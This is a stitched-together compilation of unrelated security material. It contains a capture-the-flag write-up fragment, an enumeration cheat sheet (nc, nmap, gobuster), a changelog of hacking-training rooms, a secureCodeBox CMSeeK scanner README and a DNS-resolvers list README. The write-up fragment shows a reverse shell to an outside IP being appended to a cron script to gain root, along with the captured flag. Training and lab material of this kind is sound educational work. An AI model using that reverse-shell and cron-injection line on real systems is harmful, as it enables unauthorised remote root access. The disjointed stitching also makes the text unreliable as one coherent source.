boring@kral4-PC:/var/www$ echo "bash -i >& /dev/tcp/10.8.106.222/9001 0>&1" >> .mysecretcronjob.sh
```
```
root@kral4-PC:~# ls -la
ls -la
total 40
drwx------ 5 root root 4096 Jun 15 12:40 .
drwxr-xr-x 23 root root 4096 Jun 15 01:08 ..
-rw------- 1 root root 2 Oct 5 03:45 .bash_history
-rw-r--r-- 1 root root 3136 Jun 15 12:40 .bashrc
drwx------ 2 root root 4096 Jun 13 15:40 .cache
drwx------ 3 root root 4096 Jun 13 15:40 .gnupg
drwxr-xr-x 3 root root 4096 Jun 13 15:44 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 39 Jun 15 01:01 .root.txt
-rw-r--r-- 1 root root 66 Jun 14 21:48 .selected_editor
root@kral4-PC:~# cat .root.txt
cat .root.txt
flag{63a9f0ea7bb98050796b649e85481845}
root@kral4-PC:~#
```
|
## Enumeration - Ports and its purposes.
https://sushant747.gitbooks.io/total-oscp-guide/list_of_common_ports.html
## Banner grabbing to check on all ports
```
nc -nv <IP> <port Number>
-C for CLRF
```
```
telnet <IP> <PORT number>
```
#Nmap scan on all ports
```
nmap -sC -sV -p- -oA full 127.0.0.1
nmap -sU -p- -oA udp 127.0.0.1
```
## Go buster command
```
gobuster dir --url http://10.10.10.37 --wordlist /usr/share/wordlists/dirb/common.txt
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.63:50000 -o gobuster-medium.txt
```
|
# Track Awesome Cyber Security University Updates Daily
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[🏠 Home](/README.md) · [🔍 Search](https://www.trackawesomelist.com/search/) · [🔥 Feed](https://www.trackawesomelist.com/brootware/awesome-cyber-security-university/rss.xml) · [📮 Subscribe](https://trackawesomelist.us17.list-manage.com/subscribe?u=d2f0117aa829c83a63ec63c2f&id=36a103854c) · [❤️ Sponsor](https://github.com/sponsors/theowenyoung) · [😺 brootware/awesome-cyber-security-university](https://github.com/brootware/awesome-cyber-security-university) · ⭐ 488 · 🏷️ Security
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## [May 26, 2023](/content/2023/05/26/README.md)
### Free Beginner Red Team Path / Level 3 - Crypto & Hashes with CTF practice
* [Bypassing UAC](https://tryhackme.com/room/bypassinguac) - Learn common ways to bypass User Account Control (UAC) in Windows hosts.
## [Mar 13, 2023](/content/2023/03/13/README.md)
### Free Beginner Blue Team Path / Level 2 - Security Operations, Incident Response & Threat Hunting
* [Hunting for Execution Tactic](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-3) - Join Cyborg Security's expert threat hunters as they dive into the interesting MITRE ATT\&CK Tactic of Execution (TA0002).
* [Hunting for Credential Access](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-5) - Join Cyborg Security's expert threat hunters as they dive into the interesting MITRE ATT\&CK Tactic of Credential Access (TA0006).
* [Hunting for Persistence Access](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-2) - Join Cyborg Security's team of threat hunting instructors for a fun and hands-on-keyboard threat hunting workshop covering the topic of adversarial persistence (TA0003).
* [Hunting for Defense Evation](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-4) - Join Cyborg Security's expert threat hunters as they dive into the interesting MITRE ATT\&CK Tactic of Defense Evasion (TA0005).
## [Dec 11, 2022](/content/2022/12/11/README.md)
### Free Beginner Blue Team Path / Level 1 - Tools
* [IntroSIEM](https://tryhackme.com/room/introtosiem) - Introduction to SIEM.
### Free Beginner Blue Team Path / Level 2 - Security Operations, Incident Response & Threat Hunting
* [Hunt Conti with Splunk](https://tryhackme.com/room/contiransomwarehgh) - An Exchange server was compromised with ransomware. Use Splunk to investigate how the attackers compromised the server.
## [Aug 18, 2022](/content/2022/08/18/README.md)
### Extremely Hard Rooms to do / Level 5 - Malware and Reverse Engineering
* [Year of the Owl](https://tryhackme.com/room/yearoftheowl) - Owl-themed boot to root machine.
## [Jul 20, 2022](/content/2022/07/20/README.md)
### Introduction and Pre-Security / Level 1 - Intro
* [Hip Flask](https://tryhackme.com/room/hipflask) - An in-depth walkthrough covering pentest methodology against a vulnerable server.
## [Jun 08, 2022](/content/2022/06/08/README.md)
### Introduction and Pre-Security / Level 1 - Intro
* [OpenVPN](https://tryhackme.com/room/openvpn) - Learn how to connect to a virtual private network using OpenVPN.<!--lint enable double-link-->
* [Osint](https://tryhackme.com/room/ohsint) - Intro to Open Source Intelligence.
* [Shodan.io](https://tryhackme.com/room/shodan) - Learn about Shodan.io and how to use it for device enumeration.
### Free Beginner Red Team Path / Level 2 - Tooling
* [Simple CTF](https://tryhackme.com/room/easyctf) - Beginner level CTF.
* [Bounty Hacker](https://tryhackme.com/room/cowboyhacker) - A space cowboy-themed boot to root machine.
### Free Beginner Red Team Path / Level 3 - Crypto & Hashes with CTF practice
* [Basic Pentesting](https://tryhackme.com/room/basicpentestingjt) - This is a machine that allows you to practice web app hacking and privilege escalation.
### Free Beginner Red Team Path / Level 4 - Web
* [Inclusion](https://tryhackme.com/room/inclusion) - A beginner-level LFI challenge.
* [Juiceshop](https://tryhackme.com/room/owaspjuiceshop) - This room uses the OWASP juice shop vulnerable web application to learn how to identify and exploit common web application vulnerabilities.
* [Jack of all trades](https://tryhackme.com/room/jackofalltrades) - Boot-to-root originally designed for Securi-Tay 2020.
* [Bolt](https://tryhackme.com/room/bolt) - Bolt themed machine to root into.
### Free Beginner Red Team Path / Level 5 - Reverse Engineering & Pwn
* [CC Ghidra](https://tryhackme.com/room/ccghidra) - This room teaches the basics of ghidra.
* [CC Radare2](https://tryhackme.com/room/ccradare2) - This room teaches the basics of radare2.
### Free Beginner Red Team Path / Level 6 - PrivEsc
* [Blaster](https://tryhackme.com/room/blaster) - Metasploit Framework to get a foothold.
* [Ignite](https://tryhackme.com/room/ignite) - A new start-up has a few security issues with its web server.
* [Capture the flag](https://tryhackme.com/room/c4ptur3th3fl4g) - Another beginner-level CTF challenge.
### Free Beginner Blue Team Path / Level 1 - Tools
* [Windows Fundamentals](https://tryhackme.com/room/windowsfundamentals1xbx) - Intro to Windows.
* [Red Line](https://tryhackme.com/room/btredlinejoxr3d) - Learn how to use Redline to perform memory analysis and scan for IOCs on an endpoint.
### Free Beginner Blue Team Path / Level 2 - Security Operations, Incident Response & Threat Hunting
* [Investigating Windows](https://tryhackme.com/room/investigatingwindows) - Investigating Windows.
* [Squid Game](https://tryhackme.com/room/squidgameroom) - Squid game-themed CTF.
### Free Beginner Blue Team Path / Level 3 - Beginner Forensics & Cryptography
* [The Glory of the Garden](https://play.picoctf.org/practice/challenge/44?category=4\&page=1\&solved=0) - Beginner image analysis challenge.
* [Emo](https://app.hackthebox.com/challenges/emo) - Medium level forensics challenge.
* [Obsecure](https://app.hackthebox.com/challenges/obscure) - Medium level forensics challenge.
### Free Beginner Blue Team Path / Level 4 - Memory & Disk Forensics
* [Reminiscent](https://app.hackthebox.com/challenges/reminiscent) - Medium level disk forensics challenge.
* [Detect Log4J](https://cyberdefenders.org/blueteam-ctf-challenges/86) - Medium level disk forensics challenge.
### Free Beginner Blue Team Path / Level 5 - Malware and Reverse Engineering
* [Get PDF (Malicious Document)](https://cyberdefenders.org/blueteam-ctf-challenges/47) - Reversing PDF malware.
### Bonus CTF practice and Latest CVEs / Level 5 - Malware and Reverse Engineering
* [Smag Grotto](https://tryhackme.com/room/smaggrotto) - An obsecure boot to root machine.
* [Buffer Overflow Prep](https://tryhackme.com/room/bufferoverflowprep) - Practice stack-based buffer overflows.
* [Break out the cage](https://tryhackme.com/room/breakoutthecage1) - Help Cage bring back his acting career and investigate the nefarious going on of his agent.
* [Lian Yu](https://tryhackme.com/room/lianyu) - A beginner-level security challenge.
### Bonus Windows / Level 5 - Malware and Reverse Engineering
* [Retro](https://tryhackme.com/room/retro) - Breaking out of the retro-themed box.
* [Anthem](https://tryhackme.com/room/anthem) - Exploit a Windows machine in this beginner-level challenge.
### Extremely Hard Rooms to do / Level 5 - Malware and Reverse Engineering
* [Carpe Diem 1](https://tryhackme.com/room/carpediem1) - Recover your client's encrypted files before the ransomware timer runs out.
* [EnterPrize](https://tryhackme.com/room/enterprize) - Enterprise-themed network to hack into.
## [May 23, 2022](/content/2022/05/23/README.md)
### Free Beginner Blue Team Path / Level 1 - Tools
* [Introduction to digital forensics](https://tryhackme.com/room/introdigitalforensics) - Intro to Digital Forensics.
## [May 22, 2022](/content/2022/05/22/README.md)
### Introduction and Pre-Security / Level 1 - Intro
* [Welcome](https://tryhackme.com/jr/welcome) - Learn how to use a TryHackMe room to start your upskilling in cyber security.
* [Intro to Researching](https://tryhackme.com/room/introtoresearch) - A brief introduction to research skills for pentesting.
* [Linux Fundamentals 1](https://tryhackme.com/room/linuxfundamentalspart1) - Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.
* [Linux Fundamentals 2](https://tryhackme.com/room/linuxfundamentalspart2) - Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.
* [Linux Fundamentals 3](https://tryhackme.com/room/linuxfundamentalspart3) - Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.
* [Pentesting fundamentals](https://tryhackme.com/room/pentestingfundamentals) - Fundamentals of penetration testing.
* [Principles of security](https://tryhackme.com/room/principlesofsecurity) - Principles of security.
* [Red Team Engagements](https://tryhackme.com/room/redteamengagements) - Intro to red team engagements.
* [Google Dorking](https://tryhackme.com/room/googledorking) - Explaining how Search Engines work and leveraging them into finding hidden content!
### Free Beginner Red Team Path / Level 2 - Tooling
* [Tmux](https://tryhackme.com/room/rptmux) - Learn to use tmux, one of the most powerful multi-tasking tools on linux.
* [Nmap](https://tryhackme.com/room/rpnmap) - Get experience with Nmap, a powerful network scanning tool.
* [Web Scanning](https://tryhackme.com/room/rpwebscanning) - Learn the basics of automated web scanning.
* [Sublist3r](https://tryhackme.com/room/rpsublist3r) - Learn how to find subdomains with Sublist3r.
* [Metasploit](https://tryhackme.com/room/rpmetasploit) - An introduction to the main components of the Metasploit Framework.
* [Hydra](https://tryhackme.com/room/hydra) - Learn about and use Hydra, a fast network logon cracker, to bruteforce and obtain a website's credentials.
* [Linux Privesc](https://tryhackme.com/room/linuxprivesc) - Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root! SSH is available.
* [Red Team Fundamentals](https://tryhackme.com/room/redteamfundamentals) - Learn about the basics of a red engagement, the main components and stakeholders involved, and how red teaming differs from other cyber security engagements.
* [Red Team Recon](https://tryhackme.com/room/redteamrecon) - Learn how to use DNS, advanced searching, Recon-ng, and Maltego to collect information about your target.
* [Vulnversity](https://tryhackme.com/room/vulnversity) - Learn about active recon, web app attacks and privilege escalation.
* [Blue](https://tryhackme.com/room/blue) - Deploy & hack into a Windows machine, leveraging common misconfigurations issues.
### Free Beginner Red Team Path / Level 3 - Crypto & Hashes with CTF practice
* [Crack the hash](https://tryhackme.com/room/crackthehash) - Cracking hash challenges.
* [Agent Sudo](https://tryhackme.com/room/agentsudoctf) - You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.
* [The Cod Caper](https://tryhackme.com/room/thecodcaper) - A guided room taking you through infiltrating and exploiting a Linux system.
* [Ice](https://tryhackme.com/room/ice) - Deploy & hack into a Windows machine, exploiting a very poorly secured media server.
* [Lazy Admin](https://tryhackme.com/room/lazyadmin) - Easy linux machine to practice your skills.
### Free Beginner Red Team Path / Level 4 - Web
* [OWASP top 10](https://tryhackme.com/room/owasptop10) - Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks.
* [Injection](https://tryhackme.com/room/injection) - Walkthrough of OS Command Injection. Demonstrate OS Command Injection and explain how to prevent it on your servers.
* [Overpass](https://tryhackme.com/room/overpass) - What happens when some broke CompSci students make a password manager.
* [Year of the Rabbit](https://tryhackme.com/room/yearoftherabbit) - Can you hack into the Year of the Rabbit box without falling down a hole.
* [DevelPy](https://tryhackme.com/room/bsidesgtdevelpy) - Boot2root machine for FIT and bsides Guatemala CTF.
### Free Beginner Red Team Path / Level 5 - Reverse Engineering & Pwn
* [Intro to x86 64](https://tryhackme.com/room/introtox8664) - This room teaches the basics of x86-64 assembly language.
* [Reverse Engineering](https://tryhackme.com/room/reverseengineering) - This room focuses on teaching the basics of assembly through reverse engineering.
* [Reversing ELF](https://tryhackme.com/room/reverselfiles) - Room for beginner Reverse Engineering CTF players.
* [Dumping Router Firmware](https://tryhackme.com/room/rfirmware) - Reverse engineering router firmware.
* [Intro to pwntools](https://tryhackme.com/room/introtopwntools) - Introduction to popular pwn tools framework.
* [Pwnkit: CVE-2021-4034](https://tryhackme.com/room/pwnkit) - Interactive lab for exploiting and remediating Pwnkit (CVE-2021-4034) in the Polkit package.
### Free Beginner Red Team Path / Level 6 - PrivEsc
* [Sudo Security Bypass](https://tryhackme.com/room/sudovulnsbypass) - A tutorial room exploring CVE-2019-14287 in the Unix Sudo Program. Room One in the SudoVulns Series.
* [Sudo Buffer Overflow](https://tryhackme.com/room/sudovulnsbof) - A tutorial room exploring CVE-2019-18634 in the Unix Sudo Program. Room Two in the SudoVulns Series.
* [Windows Privesc Arena](https://tryhackme.com/room/windowsprivescarena) - Students will learn how to escalate privileges using a very vulnerable Windows 7 VM.
* [Linux Privesc Arena](https://tryhackme.com/room/linuxprivescarena) - Students will learn how to escalate privileges using a very vulnerable Linux VM.
* [Windows Privesc](https://tryhackme.com/room/windows10privesc) - Students will learn how to escalate privileges using a very vulnerable Windows 7 VM.
* [Kenobi](https://tryhackme.com/room/kenobi) - Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
* [Pickle Rick](https://tryhackme.com/room/picklerick) - Rick and Morty themed LFI challenge.
### Free Beginner Blue Team Path / Level 1 - Tools
* [Nessus](https://tryhackme.com/room/rpnessusredux) - Intro to nessus scan.
* [Mitre](https://tryhackme.com/room/mitre) - Intro to Mitre attack framework.
* [Yara](https://tryhackme.com/room/yara) - Intro to yara for malware analysis.
* [OpenVAS](https://tryhackme.com/room/openvas) - Intro to openvas.
* [Intro to Honeypots](https://tryhackme.com/room/introductiontohoneypots) - Intro to honeypots.
* [Volatility](https://tryhackme.com/room/bpvolatility) - Intro to memory analysis with volatility.
* [Autopsy](https://tryhackme.com/room/autopsy2ze0) - Use Autopsy to investigate artifacts from a disk image.
### Free Beginner Blue Team Path / Level 2 - Security Operations, Incident Response & Threat Hunting
* [Juicy Details](https://tryhackme.com/room/juicydetails) - A popular juice shop has been breached! Analyze the logs to see what had happened.
* [Carnage](https://tryhackme.com/room/c2carnage) - Apply your analytical skills to analyze the malicious network traffic using Wireshark.
* [Splunk Boss of the SOC V1](https://tryhackme.com/room/bpsplunk) - Part of the Blue Primer series, learn how to use Splunk to search through massive amounts of information.
* [Splunk Boss of the SOC V2](https://cyberdefenders.org/blueteam-ctf-challenges/16) - Splunk analysis vol 2.
* [Splunk Boss of the SOC V3](https://cyberdefenders.org/blueteam-ctf-challenges/8) - Splunk analysis vol 3.
### Free Beginner Blue Team Path / Level 3 - Beginner Forensics & Cryptography
* [Martryohka doll](https://play.picoctf.org/practice/challenge/129?category=4\&page=1\&solved=0) - Beginner file analysis challenge.
* [Packets Primer](https://play.picoctf.org/practice/challenge/286?category=4\&page=2\&solved=0) - Beginner packet analysis challenge.
* [Wireshark doo doo doo](https://play.picoctf.org/practice/challenge/115?category=4\&page=1\&solved=0) - Beginner packet analysis challenge.
* [Wireshark two two two](https://play.picoctf.org/practice/challenge/110?category=4\&page=1\&solved=0) - Beginner packet analysis challenge.
* [Trivial flag transfer protocol](https://play.picoctf.org/practice/challenge/103?category=4\&page=1\&solved=0) - Beginner packet analysis challenge.
* [What Lies within](https://play.picoctf.org/practice/challenge/74?category=4\&page=2\&solved=0) - Beginner decoding analysis challenge.
* [Illumination](https://app.hackthebox.com/challenges/illumination) - Medium level forensics challenge.
* [Bucket - Cloud Security Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/84) - Medium level cloud security challenge.
* [Introduction to Cryptohack](https://cryptohack.org/courses/intro/course_details/) - Medium level cryptography challenge.
### Free Beginner Blue Team Path / Level 4 - Memory & Disk Forensics
* [Sleuthkit Intro](https://play.picoctf.org/practice/challenge/301?category=4\&page=2\&solved=0) - Medium level disk forensics challenge.
* [Hunter - Windows Disk Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/32) - Medium level disk forensics challenge.
* [Spotlight - Mac Disk Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/34) - Medium level disk forensics challenge.
* [Ulysses - Linux Disk Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/41) - Medium level disk forensics challenge.
* [Banking Troubles - Windows Memory Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/43) - Medium level memory forensics challenge.
### Free Beginner Blue Team Path / Level 5 - Malware and Reverse Engineering
* [History of Malware](https://tryhackme.com/room/historyofmalware) - Intro to malware history.
* [Malware Introduction](https://tryhackme.com/room/malmalintroductory) - Intro to malware.
* [Basic Malware Reverse Engineering](https://tryhackme.com/room/basicmalwarere) - Intro to malware RE.
* [Intro Windows Reversing](https://tryhackme.com/room/windowsreversingintro) - Intro to Windows RE.
* [Windows x64 Assembly](https://tryhackme.com/room/win64assembly) - Introduction to x64 Assembly on Windows.
* [JVM reverse engineering](https://tryhackme.com/room/jvmreverseengineering) - Learn Reverse Engineering for Java Virtual Machine bytecode.
### Bonus CTF practice and Latest CVEs / Level 5 - Malware and Reverse Engineering
* [Bandit](https://overthewire.org/wargames/bandit/) - Aimed at absolute beginners and teaches the basics of remote server access.
* [Natas](https://overthewire.org/wargames/natas/) - Teaches the basics of serverside web-security.
* [Post Exploitation Basics](https://tryhackme.com/room/postexploit) - Learn the basics of post-exploitation and maintaining access with mimikatz, bloodhound, powerview and msfvenom.
* [Dogcat](https://tryhackme.com/room/dogcat) - I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
* [Insecure Kubernetes](https://tryhackme.com/room/insekube) - Exploiting Kubernetes by leveraging a Grafana LFI vulnerability.
* [The Great Escape (docker)](https://tryhackme.com/room/thegreatescape) - Escaping docker container.
* [Solr Exploiting Log4j](https://tryhackme.com/room/solar) - Explore CVE-2021-44228, a vulnerability in log4j affecting almost all software under the sun.
* [Spring4Shell](https://tryhackme.com/room/spring4shell) - Interactive lab for exploiting Spring4Shell (CVE-2022-22965) in the Java Spring Framework.
* [Most Recent threats](https://tryhackme.com/module/recent-threats) - Learn about the latest industry threats. Get hands-on experience identifying, exploiting, and mitigating critical vulnerabilities.
### Bonus Windows / Level 5 - Malware and Reverse Engineering
* [Attacktive Directory](https://tryhackme.com/room/attacktivedirectory) - Learn about 99% of Corporate networks that run off of AD.
* [Blue Print](https://tryhackme.com/room/blueprint) - Hack into this Windows machine and escalate your privileges to Administrator.
* [Relevant](https://tryhackme.com/room/relevant) - Penetration Testing Challenge.
### Extremely Hard Rooms to do / Level 5 - Malware and Reverse Engineering
* [Ra](https://tryhackme.com/room/ra) - You have found WindCorp's internal network and their Domain Controller. Pwn the network.
* [CCT2019](https://tryhackme.com/room/cct2019) - Legacy challenges from the US Navy Cyber Competition Team 2019 Assessment sponsored by US TENTH Fleet.
* [Theseus](https://tryhackme.com/room/theseus) - The first installment of the SuitGuy series of very hard challenges.
* [IronCorp](https://tryhackme.com/room/ironcorp) - Get access to Iron Corp's system.
* [Borderlands](https://tryhackme.com/room/borderlands) - Compromise a perimeter host and pivot through this network.
* [Jeff](https://tryhackme.com/room/jeff) - Hack into Jeff's web server.
* [Anonymous Playground](https://tryhackme.com/room/anonymousplayground) - Want to become part of Anonymous? They have a challenge for you.
* [Racetrack Bank](https://tryhackme.com/room/racetrackbank) - It's time for another heist.
* [Python Playground](https://tryhackme.com/room/pythonplayground) - Use python to pwn this room. |
---
title: "CMSeeK"
category: "scanner"
type: "CMS"
state: "released"
appVersion: "v.1.1.3"
usecase: "Automation of the process of detecting the Joomla CMS and its core vulnerabilities"
---
<!--
SPDX-FileCopyrightText: the secureCodeBox authors
SPDX-License-Identifier: Apache-2.0
-->
<!--
.: IMPORTANT! :.
--------------------------
This file is generated automatically with `helm-docs` based on the following template files:
- ./.helm-docs/templates.gotmpl (general template data for all charts)
- ./chart-folder/.helm-docs.gotmpl (chart specific template data)
Please be aware of that and apply your changes only within those template files instead of this file.
Otherwise your changes will be reverted/overwritten automatically due to the build process `./.github/workflows/helm-docs.yaml`
--------------------------
-->
<p align="center">
<a href="https://opensource.org/licenses/Apache-2.0"><img alt="License Apache-2.0" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a>
<a href="https://github.com/secureCodeBox/secureCodeBox/releases/latest"><img alt="GitHub release (latest SemVer)" src="https://img.shields.io/github/v/release/secureCodeBox/secureCodeBox?sort=semver"/></a>
<a href="https://owasp.org/www-project-securecodebox/"><img alt="OWASP Lab Project" src="https://img.shields.io/badge/OWASP-Lab%20Project-yellow"/></a>
<a href="https://artifacthub.io/packages/search?repo=securecodebox"><img alt="Artifact HUB" src="https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/securecodebox"/></a>
<a href="https://github.com/secureCodeBox/secureCodeBox/"><img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/secureCodeBox/secureCodeBox?logo=GitHub"/></a>
<a href="https://twitter.com/securecodebox"><img alt="Twitter Follower" src="https://img.shields.io/twitter/follow/securecodebox?style=flat&color=blue&logo=twitter"/></a>
</p>
## What is CMSeeK?
CMSeeK is an open source penetration testing tool to automate the process of detecting various types of CMS and its installed extensions.
Only the Joomla CMS is supported by secureCodeBox. CMSeeK has a database with known vulnerabilities.
To learn more about the CMSeeK scanner itself, visit the CMSeeK GitHub repository [here](https://github.com/Tuhinshubhra/CMSeeK).
## Deployment
The cmseek chart can be deployed via helm:
```bash
# Install HelmChart (use -n to configure another namespace)
helm upgrade --install cmseek secureCodeBox/cmseek
```
## Scanner Configuration
The CMSeeK targets are specified with the `-u` parameter. The target should be a URL.
Additional CMSeeK scan features can be configured via the parameter attribute.
Some useful example parameters listed below:
- `-u URL, --url URL` : Target Url.
- `--follow-redirect` : Follows all/any redirect(s).
- `--no-redirect` : skips all redirects and tests the input target(s)
- `-r, --random-agent`: Use a random user agent.
- `--googlebot`: Use Google bot user agent.
- `--user-agent USER_AGENT`: Specify a custom user agent
## Requirements
Kubernetes: `>=v1.11.0-0`
## Values
| Key | Type | Default | Description |
|-----|------|---------|-------------|
| cascadingRules.enabled | bool | `true` | Enables or disables the installation of the default cascading rules for this scanner |
| imagePullSecrets | list | `[]` | Define imagePullSecrets when a private registry is used (see: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/) |
| parser.affinity | object | `{}` | Optional affinity settings that control how the parser job is scheduled (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) |
| parser.env | list | `[]` | Optional environment variables mapped into each parseJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) |
| parser.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images |
| parser.image.repository | string | `"docker.io/securecodebox/parser-cmseek"` | Parser image repository |
| parser.image.tag | string | defaults to the charts version | Parser image tag |
| parser.scopeLimiterAliases | object | `{}` | Optional finding aliases to be used in the scopeLimiter. |
| parser.tolerations | list | `[]` | Optional tolerations settings that control how the parser job is scheduled (see: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) |
| parser.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the parser will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ |
| scanner.activeDeadlineSeconds | string | `nil` | There are situations where you want to fail a scan Job after some amount of time. To do so, set activeDeadlineSeconds to define an active deadline (in seconds) when considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup) |
| scanner.affinity | object | `{}` | Optional affinity settings that control how the scanner job is scheduled (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) |
| scanner.backoffLimit | int | 3 | There are situations where you want to fail a scan Job after some amount of retries due to a logical error in configuration etc. To do so, set backoffLimit to specify the number of retries before considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy) |
| scanner.env | list | `[]` | Optional environment variables mapped into each scanJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) |
| scanner.extraContainers | list | `[]` | Optional additional Containers started with each scanJob (see: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) |
| scanner.extraVolumeMounts | list | `[]` | Optional VolumeMounts mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) |
| scanner.extraVolumes | list | `[]` | Optional Volumes mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) |
| scanner.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images |
| scanner.image.repository | string | `"docker.io/securecodebox/scanner-cmseek"` | Container Image to run the scan |
| scanner.image.tag | string | `nil` | defaults to the charts appVersion |
| scanner.nameAppend | string | `nil` | append a string to the default scantype name. |
| scanner.resources | object | `{}` | CPU/memory resource requests/limits (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/, https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) |
| scanner.securityContext | object | `{"allowPrivilegeEscalation":false,"capabilities":{"drop":["all"]},"privileged":false,"readOnlyRootFilesystem":false,"runAsNonRoot":true}` | Optional securityContext set on scanner container (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) |
| scanner.securityContext.allowPrivilegeEscalation | bool | `false` | Ensure that users privileges cannot be escalated |
| scanner.securityContext.capabilities.drop[0] | string | `"all"` | This drops all linux privileges from the container. |
| scanner.securityContext.privileged | bool | `false` | Ensures that the scanner container is not run in privileged mode |
| scanner.securityContext.readOnlyRootFilesystem | bool | `false` | Prevents write access to the containers file system |
| scanner.securityContext.runAsNonRoot | bool | `true` | Enforces that the scanner image is run as a non root user |
| scanner.tolerations | list | `[]` | Optional tolerations settings that control how the scanner job is scheduled (see: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/) |
| scanner.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the scanner will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ |
## License
[](https://opensource.org/licenses/Apache-2.0)
Code of secureCodeBox is licensed under the [Apache License 2.0][scb-license].
[scb-owasp]: https://www.owasp.org/index.php/OWASP_secureCodeBox
[scb-docs]: https://www.securecodebox.io/
[scb-site]: https://www.securecodebox.io/
[scb-github]: https://github.com/secureCodeBox/
[scb-twitter]: https://twitter.com/secureCodeBox
[scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU
[scb-license]: https://github.com/secureCodeBox/secureCodeBox/blob/master/LICENSE
|
<h1 align="center">Resolvers <a href="https://twitter.com/intent/tweet?text=Trickest%20Resolvers%20-%20The%20most%20exhaustive%20list%20of%20reliable%20DNS%20resolvers%20%40trick3st%0A%0Ahttps%3A%2F%2Fgithub.com%2Ftrickest%2Fresolvers&hashtags=bugbounty,bugbountytips,infosec"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1>
<h3 align="center">The most exhaustive list of reliable DNS resolvers</h3>
- [resolvers.txt](resolvers.txt): A simple list of resolver IP addresses, which you can pass directly to your DNS enumeration tool.
- [resolvers-extended.txt](resolvers-extended.txt): All of the resolvers in `resolvers.txt` with additional information about each server, including the organization it belongs to, its country, and how many times it has been detected as valid. If a resolver is valid enough times, it may earn its place in the next file.
- [resolvers-trusted.txt](resolvers-trusted.txt): A list of trusted resolvers from organizations like Cloudflare, Google, etc. We recommend you use this list to re-validate the results you get with the main resolvers.
[<img src="./banner.png" />](https://trickest-access.paperform.co/)
## How it Works
A [Trickest](https://trickest.com) workflow creates an initial dataset of resolvers from various sources and then uses multiple instances of [dnsvalidator](https://github.com/vortexau/dnsvalidator) to validate and re-validate this dataset and make it as reliable as possible.
### TB; DZ (Too big; didn't zoom)
- We collect the initial dataset from ten sources:
- [The Public DNS Server List](https://public-dns.info/nameservers.txt)
- A list of provider DNS servers collected from [bass](https://github.com/Abss0x7tbh/bass/tree/master/resolvers) (Thanks, [Abss0x7tbh](https://github.com/Abss0x7tbh)).
- [janmasarik/resolvers](https://github.com/janmasarik/resolvers) (Thanks, [janmasarik](https://github.com/janmasarik)).
- A list of DNS servers contributed by our community in [resolvers-community.txt](resolvers-community.txt) (Thanks, Trickest community!).
- [proabiral/Fresh-Resolvers](https://github.com/proabiral/Fresh-Resolvers) (Thanks, [proabiral](https://github.com/proabiral)).
- [geraldino2/jart](https://github.com/geraldino2/jart) (Thanks, [geraldino2](https://github.com/geraldino2)).
- [cxosmo/dns-resolvers](https://github.com/cxosmo/dns-resolvers) (Thanks, [cxosmo](https://github.com/cxosmo)).
- [Massdns](https://github.com/blechschmidt/massdns)'s resolvers list (Thanks, [blechschmidt](https://github.com/blechschmidt)).
